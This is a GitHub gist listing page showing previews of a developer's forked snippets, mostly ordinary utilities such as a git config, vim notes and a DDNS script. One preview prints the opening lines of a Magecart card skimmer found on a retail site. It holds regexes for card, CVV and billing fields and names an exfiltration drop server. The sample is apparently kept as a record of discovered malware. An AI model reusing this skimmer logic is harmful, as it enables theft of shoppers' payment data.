Skip to content

Instantly share code, notes, and snippets.

View jolzee's full-sized avatar
🔒
Lokker Tasks - Keeping me busy

Peter Joles jolzee

🔒
Lokker Tasks - Keeping me busy
View GitHub Profile
@jolzee
jolzee / Random-string
Created September 20, 2021 17:49 — forked from 6174/Random-string
Generate a random string in JavaScript In a short and fast way!
//http://stackoverflow.com/questions/105034/how-to-create-a-guid-uuid-in-javascript
Math.random().toString(36).substring(2, 15) + Math.random().toString(36).substring(2, 15);
@jolzee
jolzee / techrabbit.com.js
Created May 13, 2021 16:31 — forked from gwillem/techrabbit.com.js
TechRabbit.com busted by Magecart again. Malware hosted at checkercarts.com / exfil server itenvoirtech.com
var protocol = window.location.protocol != 'https:' ? 'http://' : 'https://';
var hostname = window.location.host;
var fieldNameRegex = 'shipping|billing|payment|cc|month|card|year|expiration|exp|cvv|cid|code|ccv|authorize|firstname|lastname|street|city|phone|number|email|zip|postal|region|country';
var ccRegex = '[0-9]{13,16}|[0-9 -]{16,20}';
var fieldTypeRegex = 'select|password|checkbox|radio|text|hidden|number|tel|email';
var orderButtons = 'a[title*=\'Place Order\'],a[href*=\'javascript: ; \'],a[href*=\'javascript: void (0)\'],a[href*=\'javascript: void (0); \'],a[href=\'#\'],button,input,submit,.btn,.button';
var emptyString = '';
var saveOrderURL = window.location.href.substr(window.location.href.replace('://', '').indexOf('/') + 3) + '/' + 'saveOrder';
var emptyList = [];
var dropServers = ['itenvoirtech.com'];
@jolzee
jolzee / undoredo.js
Created February 21, 2021 18:11 — forked from kimhogeling/undoredo.js
Undo/Redo with command pattern in javascript
/**
* The command supertype, which is inherited by subtype commands.
* @constructor
* @param {type} normalAction The normal action.
* @param {type} undoAction The opposite of the normal action.
* @param {type} actionValue The value, which will get passed to the action.
* @returns {Command}
*/
function Command(normalAction, undoAction, actionValue) {
this.execute = normalAction;
@jolzee
jolzee / GitCommitEmoji.md
Created July 7, 2020 23:55 — forked from parmentf/GitCommitEmoji.md
Git Commit message Emoji
@jolzee
jolzee / .gitconfig
Created July 6, 2020 21:17 — forked from pksunkara/config
Sample of git config file (Example .gitconfig)
[user]
name = Pavan Kumar Sunkara
email = pavan.sss1991@gmail.com
username = pksunkara
[core]
editor = vim
whitespace = fix,-indent-with-non-tab,trailing-space,cr-at-eol
excludesfile = ~/.gitignore
[sendemail]
smtpencryption = tls
@jolzee
jolzee / vim-cheat-sheet.txt
Last active July 6, 2020 23:48
VIM Notes
VIM - https://www.youtube.com/watch?v=d8XtNXutVto
https://github.com/amix/vimrc
https://spacevim.org/
====
vim -p index.html my-styles.css # shell | open both files as tabs
set spelllang=en_us # .vimrc | set spelling language
set spell # .vimrc | enable spell checking in .vimrc
@jolzee
jolzee / namecheap-ddns
Created July 5, 2020 02:37
Simple Namecheap Dynamic DNS client
#!/bin/sh
set -eu
FETCH="fetch -qo -"
# or for curl:
#FETCH="curl -s"
# $1: your domain
# $2: subdomain to update use @ for TLD
# $3: the password given to you by Namecheap's web interface
#
# Rerun this script every 5 minutes. Crontab entry (not as root):
@jolzee
jolzee / Cliref.md
Created May 9, 2020 03:25 — forked from yunga/Cliref.md
CLIRef.md
_________ _____ _______________       _____
\_   ___ \\    \\___________   \____ / ____\     ~/.bash/cliref.md
/    \  \/|    | |   ||       _/ __ \  __\    copy/paste from whatisdb
\     \___|__  |_|_  ||    |   \  __/|_ |   http://pastebin.com/yGmGiDQX
 \________  /_____ \_||____|_  /____  /_|     yunga.palatino@gmail.com
 20160515 \/ 1527 \/         \/     \/

alias CLIRef.txt='curl -s "http://pastebin.com/raw/yGmGiDQX" | less -i'

@jolzee
jolzee / Git produce CSV XLS
Last active April 27, 2020 19:57
git produce csv xls #git #csv #xls
echo "commit id,author,date,comment,changed files,lines added,lines deleted" > res.csv
git log --after="2020-1-01" --date=local --all --pretty="%x40%h%x2C%an%x2C%ad%x2C%x22%s%x22%x2C" --shortstat | tr "\n" " " | tr "@" "\n" >> res.csv
sed -i 's/ files changed//g' res.csv
sed -i 's/ file changed//g' res.csv
sed -i 's/ insertions(+)//g' res.csv
sed -i 's/ insertion(+)//g' res.csv
sed -i 's/ deletions(-)//g' res.csv
sed -i 's/ deletion(-)//g' res.csv
@jolzee
jolzee / hook_method.js
Created April 14, 2020 02:24 — forked from iamkvein/hook_method.js
Improved way of temporarily replacing a method on an object
var install_hook_to = function(obj) {
if (obj.hook || obj.unhook) {
throw new Error('Object already has properties hook and/or unhook');
}
obj.hook = function(_meth_name, _fn, _is_async) {
var self = this,
meth_ref;